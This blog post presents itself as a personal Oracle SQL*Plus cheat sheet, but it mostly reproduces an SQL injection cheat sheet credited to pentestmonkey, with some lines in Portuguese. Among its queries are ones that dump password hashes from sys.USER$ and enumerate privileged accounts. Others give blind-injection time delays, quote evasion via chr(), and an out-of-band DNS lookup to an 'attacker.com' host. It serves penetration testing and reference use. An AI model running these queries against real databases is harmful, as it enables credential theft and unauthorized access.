Categories: cheat-sheet, cli, database; #oracle, #sql, #sqlplus; 5 minutes read; In this post, I’m going to aggregate all those Oracle commands that I can never remember but are very useful to have somewhere written down. Table of Contents. SQL.Plus Commands (not always supported in other clients like TOAD, SQL.Navigator,) Connect with easy connect: sqlplus dbsmp/dbsnmp@192.168.2.112:1521/orcl – works only with Oracle 10g/11g clients.
SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;SELECT version FROM v$instance;
Comments
SELECT 1 FROM dual — comment
— NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table.
Current User
SELECT USER FROM dual
List Users
SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.USER$; — priv
List Password Hashes
SELECT name, password, astatus FROM sys.USER$ — priv, <= 10g. astatus tells you if acct is locked
SELECT name,spare4 FROM sys.USER$ — priv, 11g
Password Cracker
checkpwd quebrará o hashes DES-based da Oracle 8, 9 e 10
Oracle Sql Injection Cheat Sheet Pentestmonkey
List Privileges
SELECT * FROM session_privs; — current privs
SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs
SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
Oracle Pl Sql Cheat Sheet
List DBA Accounts
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles
Current Database
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
List Databases
SELECT DISTINCT owner FROM all_tables; — list schemas (one per user)
— Also query TNS listener for other databases. See tnscmd (services | status).
List Columns
SELECT column_name FROM all_tab_columns WHERE TABLE_NAME = ‘blah’;
SELECT column_name FROM all_tab_columns WHERE TABLE_NAME = ‘blah’ AND owner = ‘foo’;
Oracle Pl Sql Cheat Sheet
List Tables
SELECT TABLE_NAME FROM all_tables;
SELECT owner, TABLE_NAME FROM all_tables;
Find Tables From Column Name
SELECT owner, TABLE_NAME FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case
Select Nth Row
SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1)
Select Nth Char
SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’
Bitwise AND
SELECT bitand(6,2) FROM dual; — returns 2
SELECT bitand(6,1) FROM dual; — returns0
ASCII Value -> Char
SELECT chr(65) FROM dual; — returns A
Char -> ASCII Value
SELECT ascii(‘A’) FROM dual; — returns 65
Casting
SELECT CAST(1 AS CHAR) FROM dual;
SELECT CAST(‘1’ AS INT) FROM dual;
String Concatenation
SELECT ‘A’ || ‘B’ FROM dual; — returns AB
If Statement
BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements
Case Statement
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2
Avoiding Quotes
SELECT chr(65) || chr(66) FROM dual; — returns AB
Time Delay
BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT
SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) FROM dual; — if reverse looks are slow
SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow
— Veja também Consultas Queries para criar um time delay
Make DNS Requests
SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual;
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;
Command Execution
Java pode ser usado para executar comandos se ele estiver instalado.
Extproc às vezes pode ser usado também.
Local File Access
UTL_FILE às vezes pode ser usado. Verifique se o seguinte não é nulo:
SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;
Java pode ser usado para ler e gravar arquivos se for instalado (ele não está disponível no Oracle Express)
Hostname, IP Address
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address
SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) FROM dual; — gets hostnames
Location of DB files
SELECT name FROM V$DATAFILE;
Default/System Databases
SYSTEM
SYSAUX
Fonte: http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
Extra: